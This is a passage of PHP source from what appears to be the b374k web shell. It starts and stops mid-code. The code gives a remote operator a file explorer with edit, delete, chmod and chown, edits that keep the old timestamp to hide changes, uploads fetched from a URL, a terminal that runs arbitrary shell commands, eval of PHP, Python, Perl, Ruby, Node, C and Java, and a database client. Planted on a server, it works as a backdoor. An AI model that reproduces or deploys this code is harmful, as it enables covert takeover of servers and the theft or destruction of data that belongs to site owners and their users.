class=\'cBox".$preservecbox."\'></div><span>preserve modification timestamp</span><span id=\'editResult\'></span></td></tr><tr><td colspan=\'2\'><textarea id=\'editInput\' spellcheck=\'false\' onkeydown=\\"trap_ctrl_enter(this, event, \'edit_save_raw\');\\">".html_safe(read_file($file))."</textarea></td></tr></table>"; } elseif($type=="hex"){ $preservecbox = ($preserveTimestamp==\'true\')? " cBoxSelected":""; $content = "<table id=\'editTbl\'><tr><td colspan=\'2\'><input type=\'text\' id=\'editFilename\' class=\'colSpan\' value=\'".html_safe($file)."\' onkeydown=\\"trap_enter(event, \'edit_save_hex\');\\"></td></tr><tr><td class=\'colFit\'><span class=\'button\' onclick=\\"edit_save_hex();\\">save</span></td><td style=\'vertical-align:middle;\'><div class=\'cBox".$preservecbox."\'></div><span>preserve modification timestamp</span><span id=\'editHexResult\'></span></td></tr><tr><td colspan=\'2\'><textarea id=\'editInput\' spellcheck=\'false\' onkeydown=\\"trap_ctrl_enter(this, event, \'edit_save_hex\');\\">".bin2hex(read_file($file))."</textarea></td></tr></table>"; } else $content = "<pre>".html_safe(read_file($file))."</pre>"; $output .= " <table id=\'viewFile\' class=\'boxtbl\'> <tr><td style=\'width:120px;\'>Filename</td><td>".html_safe($file)."</td></tr> <tr><td>Size</td><td>".get_filesize($file)." (".filesize($file).")</td></tr> ".$owner." <tr><td>Permission</td><td>".get_fileperms($file)."</td></tr> <tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($file))."</td></tr> <tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($file))."</td></tr> <tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($file))."</td></tr> <tr data-path=\'".html_safe($file)."\'><td colspan=\'2\'> <span class=\'navigate button\' style=\'width:120px;\'>explorer</span> <span class=\'action button\' style=\'width:120px;\'>action</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'raw\');hide_box();\\">raw</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'code\');hide_box();\\">code</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'hex\');hide_box();\\">hex</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'image\');hide_box();\\">image</span> <span class=\'button\' style=\'width:120px;\' onclick=\\"view(\'".html_safe(addslashes($file))."\', \'multimedia\');hide_box();\\">multimedia</span> </td></tr> <tr><td colspan=\'2\'><div id=\'viewFilecontent\'>".$content."</div></td></tr> </table>"; } else $output = "error"; return $output; } } if(!function_exists(\'get_writabledir\')){ function get_writabledir(){ if(is_writable(".")) return realpath(".").DIRECTORY_SEPARATOR; else{ foreach(array(\'TMP\', \'TEMP\', \'TMPDIR\') as $k){ if(!empty($_ENV[$k])){ if(is_writable($_ENV[$k])) return realpath($_ENV[$k]).DIRECTORY_SEPARATOR; } } if(function_exists("sys_get_temp_dir")){ $dir = sys_get_temp_dir(); if(is_writable($dir)) return realpath($dir).DIRECTORY_SEPARATOR; } else{ if(!is_win()){ if(is_writable("/tmp")) return "/tmp/"; } } $tempfile = tempnam(__FILE__,\'\'); if(file_exists($tempfile)){ $dir = realpath(dirname($tempfile)).DIRECTORY_SEPARATOR; unlink($tempfile); return $dir; } } return false; } } if(!function_exists(\'get_drives\')){ function get_drives(){ $drives = ""; $v = explode("\\\\", get_cwd()); $v = $v[0]; foreach (range("A", "Z") as $letter){ if(@is_readable($letter.":\\\\")){ $drives .= "<a class=\'navbar\' data-path=\'".$letter.":\\\\\'>[ "; if($letter.":" != $v) $drives .= $letter; else{$drives .= "<span class=\'drive-letter\'>".$letter."</span>";} $drives .= " ]</a> "; } } return $drives; } } if(!function_exists(\'show_all_files\')){ function show_all_files($path){ if(!is_dir($path)) return "No such directory : ".$path; chdir($path); $output = ""; $allfiles = $allfolders = array(); if($res = opendir($path)){ while($file = readdir($res)){ if(($file!=\'.\')&&($file!="..")){ if(is_dir($file)) $allfolders[] = $file; elseif(is_file($file))$allfiles[] = $file; } } } array_unshift($allfolders, "."); $cur = getcwd(); chdir(".."); if(getcwd()!=$cur) array_unshift($allfolders, ".."); chdir($cur); natcasesort($allfolders); natcasesort($allfiles); $cols = array(); if(is_win()){ $cols = array( "perms"=>"get_fileperms", "modified"=>"get_filemtime" ); } else{ $cols = array( "owner"=>"get_fileowner", "perms"=>"get_fileperms", "modified"=>"get_filemtime" ); } $totalFiles = count($allfiles); $totalFolders = 0; $output .= "<table id=\'xplTable\' class=\'dataView sortable\'><thead>"; $output .= "<tr><th class=\'col-cbox sorttable_nosort\'><div class=\'cBoxAll\'></div></th><th class=\'col-name\'>name</th><th class=\'col-size\'>size</th>"; foreach($cols as $k=>$v){ $output .= "<th class=\'col-".$k."\'>".$k."</th>"; } $output .= "</tr></thead><tbody>"; foreach($allfolders as $d){ $cboxException = ""; if(($d==".")||($d=="..")){ $action = "actiondot"; $cboxException = " cBoxException"; } else{ $action = "actionfolder"; $totalFolders++; } $output .= " <tr data-path=\\"".html_safe(realpath($d).DIRECTORY_SEPARATOR)."\\"><td><div class=\'cBox".$cboxException."\'></div></td> <td style=\'white-space:normal;\'><a class=\'navigate\'>[ ".html_safe($d)." ]</a><span class=\'".$action." floatRight\'>action</span></td> <td>DIR</td>"; foreach($cols as $k=>$v){ $sortable = ""; if($k==\'modified\') $sortable = " title=\'".filemtime($d)."\'"; $output .= "<td".$sortable.">".$v($d)."</td>"; } $output .= "</tr>"; } foreach($allfiles as $f){ $output .= " <tr data-path=\\"".html_safe(realpath($f))."\\"><td><div class=\'cBox\'></div></td> <td style=\'white-space:normal;\'><a class=\'view\'>".html_safe($f)."</a><span class=\'action floatRight\'>action</span></td> <td title=\'".filesize($f)."\'>".get_filesize($f)."</td>"; foreach($cols as $k=>$v){ $sortable = ""; if($k==\'modified\') $sortable = " title=\'".filemtime($f)."\'"; $output .= "<td".$sortable.">".$v($f)."</td>"; } $output .= "</tr>"; } $output .= "</tbody><tfoot>"; $colspan = 1 + count($cols); $output .= "<tr><td><div class=\'cBoxAll\'></div></td><td> <select id=\'massAction\' class=\'colSpan\'> <option disabled selected>Action</option> <option>cut</option> <option>copy</option> <option>paste</option> <option>delete</option> <option disabled>------------</option> <option>chmod</option> <option>chown</option> <option>touch</option> <option disabled>------------</option> <option>extract (tar)</option> <option>extract (tar.gz)</option> <option>extract (zip)</option> <option disabled>------------</option> <option>compress (tar)</option> <option>compress (tar.gz)</option> <option>compress (zip)</option> <option disabled>------------</option> </select> </td><td colspan=\'".$colspan."\'></td></tr> <tr><td></td><td colspan=\'".++$colspan."\'>".$totalFiles." file(s), ".$totalFolders." Folder(s)<span class=\'xplSelected\'></span></td></tr> "; $output .= "</tfoot></table>"; return $output; } } if(!function_exists(\'eval_get_supported\')){ function eval_get_supported(){ $eval_supported = array(); $eval_supported[] = "php"; $check = strtolower(execute("python -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "python"; $check = strtolower(execute("perl -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "perl"; $check = strtolower(execute("ruby -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "ruby"; $check = strtolower(execute("node -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "node"; else{ $check = strtolower(execute("nodejs -h")); if(strpos($check,"usage")!==false) $eval_supported[] = "nodejs"; } $check = strtolower(execute("gcc --help")); if(strpos($check,"usage")!==false) $eval_supported[] = "gcc"; $check = strtolower(execute("java -help")); if(strpos($check,"usage")!==false){ $check = strtolower(execute("javac -help")); if(strpos($check,"usage")!==false) $eval_supported[] = "java"; } return implode(",", $eval_supported); } } if(!function_exists(\'eval_go\')){ function eval_go($evalType, $evalCode, $evalOptions, $evalArguments){ $res = ""; $output = ""; if($evalOptions!="") $evalOptions = $evalOptions." "; if($evalArguments!="") $evalArguments = " ".$evalArguments; if($evalType=="php"){ ob_start(); eval($evalCode); $res = ob_get_contents(); ob_end_clean(); return $res; } elseif(($evalType=="python")||($evalType=="perl")||($evalType=="ruby")||($evalType=="node")||($evalType=="nodejs")){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $res .= "Setting permissions : 0755"; if(chmod($path, 0755)){ $res .= " (ok)\\n"; $cmd = $evalType." ".$evalOptions.$path.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="gcc"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".c"; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $ext = (is_win())? ".exe":".out"; $pathres = $filename.$ext; $evalOptions = "-o ".$pathres." ".$evalOptions; $cmd = "gcc ".$evalOptions.$path; $res .= "Compiling : ".$cmd; $res .= execute($cmd); if(is_file($pathres)){ $res .= " (ok)\\n"; $res .= "Setting permissions : 0755"; if(chmod($pathres, 0755)){ $res .= " (ok)\\n"; $cmd = $pathres.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$pathres; if(unlink($pathres)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="java"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; if(preg_match("/class\\ ([^{]+){/i",$evalCode, $r)){ $classname = trim($r[1]); $filename = $classname; } else{ $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq; $evalCode = "class ".$filename." { ".$evalCode . " } "; } $path = $filename.".java"; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $cmd = "javac ".$evalOptions.$path; $res .= "Compiling : ".$cmd; $res .= execute($cmd); $pathres = $filename.".class"; if(is_file($pathres)){ $res .= " (ok)\\n"; $res .= "Setting permissions : 0755"; if(chmod($pathres, 0755)){ $res .= " (ok)\\n"; $cmd = "java ".$filename.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$pathres; if(unlink($pathres)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } elseif($evalType=="executable"){ $tmpdir = get_writabledir(); chdir($tmpdir); $res .= "Using dir : ".$tmpdir; if(is_writable($tmpdir)){ $res .= " (writable)\\n"; $uniq = substr(md5(time()),0,8); $filename = $evalType.$uniq.".exe"; $path = $filename; $res .= "Temporary file : ".$path; if(write_file($path, $evalCode)){ $res .= " (ok)\\n"; $cmd = $path.$evalArguments; $res .= "Execute : ".$cmd."\\n"; $output = execute($cmd); $res .= "Deleting temporary file : ".$path; if(unlink($path)) $res .= " (ok)\\n"; else $res .= " (failed)\\n"; } else $res .= " (failed)\\n"; } else $res .= " (not writable)\\n"; $res .= "Finished..."; return $res."{[|b374k|]}".$output; } return false; } } if(!function_exists(\'output\')){ function output($str){ $error = @ob_get_contents(); @ob_end_clean(); header("Content-Type: text/plain"); header("Cache-Control: no-cache"); header("Pragma: no-cache"); echo $str; die(); } } ?><?php block_bot(); auth(); chdir(get_cwd()); $nav = get_nav(get_cwd()); $p = array_map("rawurldecode", get_post()); $cwd = html_safe(get_cwd()); $GLOBALS[\'module\'] = array(); $explorer_content = ""; if(isset($p[\'viewEntry\'])){ $path = trim($p[\'viewEntry\']); if(is_file($path)){ $dirname = realpath(dirname($path)).DIRECTORY_SEPARATOR; setcookie("cwd", $dirname); chdir($dirname); $nav = get_nav($dirname); $cwd = html_safe($dirname); $explorer_content = view_file($path, "auto"); } elseif(is_dir($path)){ $path = realpath($path).DIRECTORY_SEPARATOR; setcookie("cwd", $path); chdir($path); $nav = get_nav($path); $cwd = html_safe($path); $explorer_content = show_all_files($path); } } else $explorer_content = show_all_files(get_cwd()); $GLOBALS[\'module\'][\'explorer\'][\'id\'] = "explorer"; $GLOBALS[\'module\'][\'explorer\'][\'title\'] = "Explorer"; $GLOBALS[\'module\'][\'explorer\'][\'js_ontabselected\'] = ""; $GLOBALS[\'module\'][\'explorer\'][\'content\'] = $explorer_content; $GLOBALS[\'module\'][\'terminal\'][\'id\'] = "terminal"; $GLOBALS[\'module\'][\'terminal\'][\'title\'] = "Terminal"; $GLOBALS[\'module\'][\'terminal\'][\'js_ontabselected\'] = " if((!portableMode) && ($(\'#terminalOutput\').html()==\'\')) $(\'#terminalInput\').focus();"; $GLOBALS[\'module\'][\'terminal\'][\'content\'] = "<pre id=\'terminalOutput\'></pre><table id=\'terminalPrompt\'><tr><td class=\'colFit\'><span id=\'terminalCwd\' class=\'strong\'>".get_cwd()."&gt;</span</td><td id=\'terminalCommand\'><input type=\'text\' id=\'terminalInput\' class=\'floatLeft\' spellcheck=\'false\'></td></tr></table>"; $GLOBALS[\'module\'][\'eval\'][\'id\'] = "eval"; $GLOBALS[\'module\'][\'eval\'][\'title\'] = "Eval"; $GLOBALS[\'module\'][\'eval\'][\'js_ontabselected\'] = " if((!portableMode) && ($(\'#evalOutput\').html()==\'You can also press ctrl+enter to submit\')) $(\'#evalInput\').focus();"; $GLOBALS[\'module\'][\'eval\'][\'content\'] = " <table class=\'boxtbl\'> <thead> <tr><th colspan=\'4\'><p class=\'boxtitle\'>Eval</p></th></tr> </thead> <tbody> <tr><td colspan=\'4\'><textarea id=\'evalInput\' spellcheck=\'false\' style=\'height:140px;min-height:140px;\'></textarea></td></tr> <tr id=\'evalAdditional\'><td colspan=\'4\'> <input type=\'text\' id=\'evalOptions\' value=\'Options/Switches\' spellcheck=\'false\' onkeydown=\\"trap_enter(event, \'eval_go\');\\"> <input type=\'text\' id=\'evalArguments\' value=\'Arguments\' spellcheck=\'false\' onkeydown=\\"trap_enter(event, \'eval_go\');\\"> </td></tr> <tr> <td style=\'width:120px;\'> <select id=\'evalType\'> </select> </td> <td colspan=\'3\'> <span id=\'evalSubmit\' style=\'width:120px;\' class=\'button\' onclick=\\"eval_go();\\">run</span> </td> </tr> <tr><td colspan=\'4\'><pre id=\'evalOutput\'>You can also press ctrl+enter to submit</pre></td</tr> </tbody> </table> "; $res = ""; if(isset($p[\'cd\'])){ $path = $p[\'cd\']; if(trim($path)==\'\') $path = dirname(__FILE__); $path = realpath($path); if(is_file($path)) $path = dirname($path); if(is_dir($path)){ chdir($path); $path = $path.DIRECTORY_SEPARATOR; setcookie("cwd", $path); $res = $path."{[|b374k|]}".get_nav($path)."{[|b374k|]}"; if(isset($p[\'showfiles\'])&&($p[\'showfiles\']==\'true\')){ $res .= show_all_files($path); } } else $res = "error"; output($res); } elseif(isset($p[\'viewFile\']) && isset($p[\'viewType\'])){ $path = trim($p[\'viewFile\']); $type = trim($p[\'viewType\']); $preserveTimestamp = trim($p[\'preserveTimestamp\']); if(is_file($path)){ $res = view_file($path, $type, $preserveTimestamp); } else $res = "error"; output($res); } elseif(isset($p[\'renameFile\']) && isset($p[\'renameFileTo\'])){ $renameFile = trim($p[\'renameFile\']); $renameFileTo = trim($p[\'renameFileTo\']); if(file_exists($renameFile)){ if(rename($renameFile, $renameFileTo)){ $res = dirname($renameFileTo); } else $res = "error"; } else $res = "error"; output($res); } elseif(isset($p[\'newFolder\'])){ $newFolder = trim($p[\'newFolder\']); if(mkdir($newFolder)){ $res = dirname($newFolder); } else $res = "error"; output($res); } elseif(isset($p[\'newFile\'])){ $newFile = trim($p[\'newFile\']); if(touch($newFile)){ $res = dirname($newFile); } else $res = "error"; output($res); } elseif(isset($p[\'delete\'])){ $path = trim($p[\'delete\']); $dirname = dirname($path); if(is_file($path)){ if(unlink($path)) $res = $dirname; } elseif(is_dir($path)){ if(rmdirs($path)>0) $res = $dirname; } else $res = "error"; if(file_exists($path)) $res = "error"; output($res); } elseif(isset($p[\'editType\'])&&isset($p[\'editFilename\'])&&isset($p[\'editInput\'])&&isset($p[\'preserveTimestamp\'])){ $editFilename = trim($p[\'editFilename\']); $editInput = trim($p[\'editInput\']); $editType = trim($p[\'editType\']); $preserveTimestamp = trim($p[\'preserveTimestamp\']); $time = filemtime($editFilename); if($editType==\'hex\') $editInput = pack("H*" , preg_replace("/\\s/","", $editInput)); if(write_file($editFilename, $editInput)){ $res = $editFilename; if($preserveTimestamp==\'true\') touch($editFilename, $time); } else $res = "error"; output($res); } elseif(isset($p[\'findType\'])){ $findType = trim($p[\'findType\']); $findPath = trim($p[\'findPath\']); $findName = trim($p[\'findName\']); $findNameRegex = trim($p[\'findNameRegex\']); $findNameInsensitive = trim($p[\'findNameInsensitive\']); $findContent = trim($p[\'findContent\']); $findContentRegex = trim($p[\'findContentRegex\']); $findContentInsensitive = trim($p[\'findContentInsensitive\']); $findWritable = trim($p[\'findWritable\']); $findReadable = trim($p[\'findReadable\']); $candidate = get_all_files($findPath); if($findType==\'file\') $candidate = array_filter($candidate, "is_file"); elseif($findType==\'folder\') $candidate = array_filter($candidate, "is_dir"); else $res = "error"; foreach($candidate as $k){ if(($findType=="file")||($findType=="folder")){ if(!empty($findName)){ if($findNameRegex=="true"){ $case = ($findNameInsensitive=="true")? "i":""; if(!preg_match("/".$findName."/".$case, basename($k))){ $candidate = array_diff($candidate, array($k)); } } else{ $check = false; if($findNameInsensitive=="true"){ $check = strpos(strtolower(basename($k)), strtolower($findName))===false; } else{ $check = strpos(basename($k), $findName)===false; } if($check){ $candidate = array_diff($candidate, array($k)); } } } } if($findType=="file"){ if(!empty($findContent)){ $content = read_file($k); if($findContentRegex=="true"){ $case = ($findContentInsensitive=="true")? "i":""; if(!preg_match("/".$findContent."/".$case, $content)){ $candidate = array_diff($candidate, array($k)); } } else{ $check = false; if($findContentInsensitive=="true"){ $check = strpos(strtolower($content), strtolower($findContent))===false; } else{ $check = strpos($content, $findContent)===false; } if($check){ $candidate = array_diff($candidate, array($k)); } } } } } foreach($candidate as $k){ if($findWritable=="true"){ if(!is_writable($k)) $candidate = array_diff($candidate, array($k)); } if($findReadable=="true"){ if(!is_readable($k)) $candidate = array_diff($candidate, array($k)); } } if(count($candidate)>0){ $res = ""; foreach($candidate as $k){ $res .= "<p><span class=\'strong\'>&gt;</span>&nbsp;<a data-path=\'".html_safe($k)."\' onclick=\'view_entry(this);\'>".html_safe($k)."</a></p>"; } } else $res = ""; output($res); } elseif(isset($p[\'ulType\'])){ $ulSaveTo = trim($p[\'ulSaveTo\']); $ulFilename = trim($p[\'ulFilename\']); if($p[\'ulType\']==\'comp\'){ $ulFile = $_FILES[\'ulFile\']; if(empty($ulFilename)) $ulFilename = $ulFile[\'name\']; if(is_uploaded_file($ulFile[\'tmp_name\'])){ if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; if(move_uploaded_file($ulFile[\'tmp_name\'], $newfile)){ $res = "<span class=\'strong\'>&gt;</span>&nbsp;<a data-path=\'".html_safe($newfile)."\' onclick=\'view_entry(this);\'>".html_safe($newfile)."</a>&nbsp;( 100% )"; } else $res = "error"; } else $res = "error"; } elseif($p[\'ulType\']==\'url\'){ $ulFile = trim($p[\'ulFile\']); if(empty($ulFilename)) $ulFilename = basename($ulFile); if(!is_dir($ulSaveTo)) mkdir($ulSaveTo); $newfile = realpath($ulSaveTo).DIRECTORY_SEPARATOR.$ulFilename; if(download($ulFile, $newfile)){ $res = "<span class=\'strong\'>&gt;</span>&nbsp;<a data-path=\'".html_safe($newfile)."\' onclick=\'view_entry(this);\'>".html_safe($newfile)."</a>&nbsp;( 100% )"; } else $res = "error"; } else $res = "error"; output($res); } elseif(isset($p[\'download\'])){ $file = trim($p[\'download\']); if(is_file($file)){ header("Content-Type: application/octet-stream"); header(\'Content-Transfer-Encoding: binary\'); header("Content-length: ".filesize($file)); header("Cache-Control: no-cache"); header("Pragma: no-cache"); header("Content-disposition: attachment; filename=\\"".basename($file)."\\";"); $handler = fopen($file,"rb"); while(!feof($handler)){ print(fread($handler, 1024*8)); @ob_flush(); @flush(); } fclose($handler); die(); } } elseif(isset($p[\'multimedia\'])){ $file = trim($p[\'multimedia\']); $mime_list = get_resource(\'mime\'); $mime = ""; $file_ext_pos = strrpos($file, "."); if($file_ext_pos!==false){ $file_ext = trim(substr($file, $file_ext_pos),"."); if(preg_match("/([^\\s]+)\\ .*\\b".$file_ext."\\b.*/i", $mime_list, $res)){ $mime = $res[1]; } } if(is_file($file)){ header("Content-Type: ".$mime); header(\'Content-Transfer-Encoding: binary\'); header("Content-length: ".filesize($file)); echo "data:".$mime.";base64,".base64_encode(read_file($file)); die(); } } elseif(isset($p[\'massType\'])&&isset($p[\'massBuffer\'])&&isset($p[\'massPath\'])&&isset($p[\'massValue\'])){ $massType = trim($p[\'massType\']); $massBuffer = trim($p[\'massBuffer\']); $massPath = realpath($p[\'massPath\']).DIRECTORY_SEPARATOR; $massValue = trim($p[\'massValue\']); $counter = 0; $massBufferArr = explode("\\n", $massBuffer); if(($massType==\'tar\')||($massType==\'targz\')||($massType==\'zip\')){ if(compress($massType, $massValue, $massBufferArr)){ $counter++; return $counter; } } else{ foreach($massBufferArr as $k){ $path = trim($k); if(file_exists($path)){ $preserveTimestamp = filemtime($path); if($massType==\'delete\'){ if(is_file($path)){ if(unlink($path)) $counter++; } elseif(is_dir($path)){ if(rmdirs($path)>0) $counter++; } } elseif($massType==\'cut\'){ $dest = $massPath.basename($path); if(rename($path, $dest)){ $counter++; touch($dest, $preserveTimestamp); } } elseif($massType==\'copy\'){ $dest = $massPath.basename($path); if(is_dir($path)){ if(copys($path, $dest)>0) $counter++; } elseif(is_file($path)){ if(copy($path, $dest)) $counter++; } } elseif(($massType==\'untar\')||($massType==\'untargz\')||($massType==\'unzip\')){ if(decompress($massType, $path, $massValue)){ $counter++; return $counter; } } elseif(!empty($massValue)){ if($massType==\'chmod\'){ if(chmod($path, octdec($massValue))) $counter++; } elseif($massType==\'chown\'){ if(chown($path, $massValue)) $counter++; } elseif($massType==\'touch\'){ if(touch($path, strtotime($massValue))) $counter++; } } } } } if($counter>0) output($counter); output(\'error\'); } elseif(isset($p[\'viewFileorFolder\'])){ $entry = $p[\'viewFileorFolder\']; if(is_file($entry)) output(\'file\'); elseif(is_dir($entry)) output(\'folder\'); output(\'error\'); } elseif(isset($p[\'terminalInput\'])){ output(html_safe(execute($p[\'terminalInput\']))); } elseif(isset($p[\'evalInput\']) && isset($p[\'evalType\'])){ $evalInput = $p[\'evalInput\']; $evalOptions = (isset($p[\'evalOptions\']))? $p[\'evalOptions\']:""; $evalArguments = (isset($p[\'evalArguments\']))? $p[\'evalArguments\']:""; $evalType = $p[\'evalType\']; error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); @ini_set(\'html_errors\',\'0\'); @ini_set(\'display_errors\',\'1\'); @ini_set(\'display_startup_errors\',\'1\'); $res = eval_go($evalType, $evalInput, $evalOptions, $evalArguments); if($res===false) $res == "error"; output(html_safe($res)); } elseif(isset($p[\'evalGetSupported\'])){ $res = eval_get_supported(); output($res); } ?><?php $GLOBALS[\'module\'][\'convert\'][\'id\'] = "convert"; $GLOBALS[\'module\'][\'convert\'][\'title\'] = "Convert"; $GLOBALS[\'module\'][\'convert\'][\'js_ontabselected\'] = " if((!portableMode) && ($(\'#decodeResult\').children().length==1)) $(\'#decodeStr\').focus();"; $GLOBALS[\'module\'][\'convert\'][\'content\'] = " <table class=\'boxtbl\'> <thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Convert</p></th></tr> </thead> <tbody> <tr><td colspan=\'2\'><textarea style=\'height:140px;min-height:140px;\' id=\'decodeStr\'></textarea></td></tr> <tr><td colspan=\'2\'><span class=\'button\' onclick=\'decode_go();\'>convert</span></td></tr> </tbody> <tfoot id=\'decodeResult\'><tr><td colspan=\'2\'>You can also press ctrl+enter to submit</td></tr></tfoot> </table>"; if(!function_exists(\'decode\')){ function decode($str){ $res = ""; $length = (int) strlen($str); $res .= decode_line("md5", md5($str), "input"); $res .= decode_line("sha1", sha1($str), "input"); $res .= decode_line("base64 encode", base64_encode($str), "textarea"); $res .= decode_line("base64 decode", base64_decode($str), "textarea"); $res .= decode_line("hex to string", @pack("H*" , $str), "textarea"); $res .= decode_line("string to hex", bin2hex($str), "textarea"); $ascii = ""; for($i=0; $i<$length; $i++){ $ascii .= ord(substr($str,$i,1))." "; } $res .= decode_line("ascii char", trim($ascii), "textarea"); $res .= decode_line("reversed", strrev($str), "textarea"); $res .= decode_line("lowercase", strtolower($str), "textarea"); $res .= decode_line("uppercase", strtoupper($str), "textarea"); $res .= decode_line("urlencode", urlencode($str), "textarea"); $res .= decode_line("urldecode", urldecode($str), "textarea"); $res .= decode_line("rawurlencode", rawurlencode($str), "textarea"); $res .= decode_line("rawurldecode", rawurldecode($str), "textarea"); $res .= decode_line("htmlentities", html_safe($str), "textarea"); if(function_exists(\'hash_algos\')){ $algos = hash_algos(); foreach($algos as $algo){ if(($algo==\'md5\')||($algo==\'sha1\')) continue; $res .= decode_line($algo, hash($algo, $str), "input"); } } return $res; } } if(!function_exists(\'decode_line\')){ function decode_line($type, $result, $inputtype){ $res = "<tr><td class=\'colFit\'>".$type."</td><td>"; if($inputtype==\'input\'){ $res .= "<input type=\'text\' value=\'".html_safe($result)."\' ondblclick=\'this.select();\'>"; } else{ $res .= "<textarea style=\'height:80px;min-height:80px;\' ondblclick=\'this.select();\'>".html_safe($result)."</textarea>"; } return $res; } } if(isset($p[\'decodeStr\'])){ $decodeStr = $p[\'decodeStr\']; output(decode($decodeStr)); } ?><?php $GLOBALS[\'module\'][\'database\'][\'id\'] = "database"; $GLOBALS[\'module\'][\'database\'][\'title\'] = "Database"; $GLOBALS[\'module\'][\'database\'][\'js_ontabselected\'] = ""; $GLOBALS[\'module\'][\'database\'][\'content\'] = " <table class=\'boxtbl\'> <thead> <tr><th colspan=\'3\'><p class=\'boxtitle\'>Connect</p></th></tr> </thead> <tbody> <tr class=\'dbHostRow\'><td style=\'width:120px\' class=\'dbHostLbl\'>Host</td><td colspan=\'2\'><input type=\'text\' id=\'dbHost\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr> <tr class=\'dbUserRow\'><td>Username</td><td colspan=\'2\'><input type=\'text\' id=\'dbUser\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr> <tr class=\'dbPassRow\'><td>Password</td><td colspan=\'2\'><input type=\'text\' id=\'dbPass\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr> <tr class=\'dbPortRow\'><td>Port (Optional)</td><td colspan=\'2\'><input type=\'text\' id=\'dbPort\' value=\'\' onkeydown=\\"trap_enter(event, \'db_connect\');\\"></td></tr> </tbody> <tfoot> <tr class=\'dbConnectRow\'> <td style=\'width:120px;\'> <select id=\'dbType\'> </select> </td> <td style=\'width:120px;\'><span class=\'button\' onclick=\\"db_connect();\\">connect</span></td> <td class=\'dbError\'></td> </tr> <tr class=\'dbQueryRow\' style=\'display:none;\'> <td colspan=\'3\'><textarea id=\'dbQuery\' style=\'min-height:140px;height:140px;\'>You can also press ctrl+enter to submit</textarea></td> </tr> <tr class=\'dbQueryRow\' style=\'display:none;\'> <td style=\'width:120px;\'><span class=\'button\' onclick=\\"db_run();\\">run</span></td> <td style=\'width:120px;\'><span class=\'button\' onclick=\\"db_disconnect();\\">disconnect</span></td> <td>Separate multiple commands with a semicolon <span class=\'strong\'>(</span> ; <span class=\'strong\'>)</span></td> </tr> </tfoot> </table> <div id=\'dbBottom\' style=\'display:none;\'> <br> <table class=\'border\' style=\'padding:0;\'><tr><td id=\'dbNav\' class=\'colFit borderright\' style=\'vertical-align:top;\'></td><td id=\'dbResult\' style=\'vertical-align:top;\'></td></tr></table> </div> "; if(!function_exists(\'sql_connect\')){ function sql_connect($sqltype, $sqlhost, $sqluser, $sqlpass){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return new mysqli($sqlhost, $sqluser, $sqlpass); elseif(function_exists(\'mysql_connect\')) return @mysql_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_connect\')){ $coninfo = array("UID"=>$sqluser, "PWD"=>$sqlpass); return @sqlsrv_connect($sqlhost,$coninfo); } elseif(function_exists(\'mssql_connect\')) return @mssql_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == \'pgsql\'){ $hosts = explode(":", $sqlhost); if(count($hosts)==2){ $host_str = "host=".$hosts[0]." port=".$hosts[1]; } else $host_str = "host=".$sqlhost; 